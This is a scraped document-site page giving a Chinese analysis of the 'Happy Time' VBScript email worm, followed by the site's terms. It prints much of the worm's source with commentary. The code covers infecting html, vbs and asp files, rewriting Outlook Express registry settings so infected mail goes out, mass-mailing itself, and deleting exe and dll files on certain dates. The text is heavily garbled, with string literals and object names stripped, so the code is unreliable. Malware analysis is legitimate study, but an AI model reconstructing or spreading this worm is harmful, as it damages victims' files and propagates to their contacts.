欢乐时光代码分析.docx
《欢乐时光代码分析.docx》由会员分享,可在线阅读,更多相关《欢乐时光代码分析.docx(28页珍藏版)》请在咨信网上搜索。
1、欢乐时光代码分析“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库成功地避开了安全审核的手段更是令人叹为观止。下面让我们来看看它藏在快乐的外衣下的是什么吧!*欢乐时光*RemIamsorry!happytimeOnErrorResumeNextMlo
2、ad以上为病毒入口,并加上Iamsorry!happytime的注释,以表明此文件已被感染过。Submload()OnErrorResumeNextmPath=Grf()SetOs=CreateObject()SetOh=CreateObject()建立枚举对象,避开了安全审核IfIsHTMLThen调用IsHtml函数,如果是Html,就小写mURL=LCase()IfmPath=Then=C:“=Lhtml()()如果mPath为空,就在C盘下生成Ihtml=超文本的内容,并指向C:“Call(AfterBegin,Ihtml)ElseIfIv(mPath,)ThensetInterval
3、Rt(),10000Elsem=htaIfLCase(m)=Right(mURL,Len(m)Thenid=setTimeout(mclose(),1)设置超时条件mainElse()=mPath&“&=Lhtml()()IvmPath,生成EndIfEndIfEndIfElseMain都不是,就执行main函数EndIfEndSub*以下为主函数,太长了!Submain()OnErrorResumeNextSetOf=CreateObject()不用说,创建FileSystemObject对象啦SetOd=CreateObject()创建Dictionary对象,用来保存数据键和项目对,它实
4、际上是一个比较开放的数组html,1100vbs,0100htm,1100asp,0010向Dictionary对象添加要感染的项目对Ks=HKEY_CURRENT_USER“Software“使用变量以减少代码长度Ds=Grf()Cs=Gsf()IfIsVbsThen如果是VBSIf(C:“)Then(C:“)如果c:“存在,就删掉,消灭遗留的痕迹EndIfKey=CInt(Month(Date)+Day(Date)IfKey=13Then如果月与日之和为13exe,0001dll,0001就清空Dictionary数组,并将exe、dll加入Dictionary对象,以备删除之用EndIf
5、Cn=Rg(Ks&Help“Count)读注册表中的HKEY_CURRENT_USER“Software“Help“Count键值IfCn=ThenCn=1如果Count为0,就设为1EndIfRwKs&Help“Count,Cn+1添加HKEY_CURRENT_USER“Software“Help“Count键值,值为2f1=Rg(Ks&Help“FileName)再读HKEY_CURRENT_USER“Software“Help“FileName键值f2=FNext(Of,Od,f1)得到该文件的文件名fext=GetExt(Of,Od,f2)得到该文件扩展名的代号RwKs&Help“Fi
6、leName,f2添加键值IfIsDel(fext)Then如果扩展名代号的第四个字符为1即0001(exe、dll)f3=f2储存文件名f2=FNext(Of,Od,f2)得到文件的文件名?RwKs&Help“FileName,f2写注册表f3删除文件ElseIfLCase()LCase(f2)Then如果不是集合中的文件FwOf,f2,fextEndIfEndIfIf(CInt(Cn)Mod366)=0ThenIf(CInt(Second(Time)Mod2)=0Then使用Cint函数强制执行转换,并发邮件TsendElseadds=OgMsend(adds)EndIfEndIfwp=R
7、g(HKEY_CURRENT_USER“ControlPanel“desktop“wallPaper)IfRg(Ks&Help“wallPaper)wpOrwp=Then比较桌面墙纸是否已改变Ifwp=Thenn1=n3=Cs&“ElsemP=(wp).ParentFoldern1=(wp)n2=(wp)n3=Cs&“&n2&.htmEndIfSetpfc=(n3,True)mt=Sa(1100)创建超文本&HTML&bodybgcolor=#007f7fbackground=&n1&/Body&/HTML&mt超文本的内容RwKs&Help“wallPaper,n3RwHKEY_CURREN
8、T_USER“ControlPanel“desktop“wallPaper,n3将带毒的超文本设置成活动桌面EndIfElseSetfc=(Ds&“,True)Sa(0100)创建vbs文件bf=Cs&“Setfc2=(bf,True)Lhtml创建windows下的oeid=Rg(HKEY_CURRENT_USER“Identities“DefaultUserID)oe=HKEY_CURRENT_USER“Identities“&oeid&“Software“Microsoft“OutlookExpress“MailMSH=oe&“MessageSendHTMLCUS=oe&“Compose
9、UseStationerySN=oe&“StationeryNameRwMSH,1RwCUS,1RwSN,bf在Hkey_Current_UserIdentitiesAECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4SoftwareMicrosoftOutlookExpressMail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName,前两个的值为1,后一个指向windows“Web=Cs&“WEBSetgf=(Web).Files得到windows“web文件夹里的文件htt,1100向Dictionar
10、y里添加htt项目对ForEachmIngf遍历windows“web下的每一个文件fext=GetExt(Of,Od,m)得到每个文件的扩展名IffextThen如果扩展名不为空,则FwOf,m,fextEndIfNextEndIfEndSub*Submclose()&titleIamsorry!写入Iamsorry,并关闭。以此作为感染与否的标记EndSub*SubFw(Of,S,n)此时S为文件名,n为文件扩展名Dimfc,fc2,m,mmail,mtOnErrorResumeNextSetfc=(S,1)只读模式打开该文件mt=读入全部文件流关闭文件IfNotSc(mt)Then如果未
11、感染过mmail=Ml(mt)mt=Sa(n)Setfc2=(S,8)打开文件并在文件末尾进行写爱作mtMsend(mmail)发带毒邮件EndIfEndSub*FunctionSc(S)mN=RemIamsorry!happytimeIfInStr(S,mN)0Then如果读入的文件流中有RemIamsorry!happytimeSc=TrueElseSc=False表示已感染过,返回True,否则为FalseEndIfEndFunction*FunctionFNext(Of,Od,S)Dimfpath,fname,fext,T,gfOnErrorResumeNextfname=T=Fals
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 欢乐 时光 代码 分析
1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前自行私信或留言给上传者【人****来】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时私信或留言给本站上传会员【人****来】,需本站解决可联系【 微信客服】、【 QQ客服】,若有其他问题请点击或扫码反馈【 服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【 版权申诉】”(推荐),意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:4008-655-100;投诉/维权电话:4009-655-100。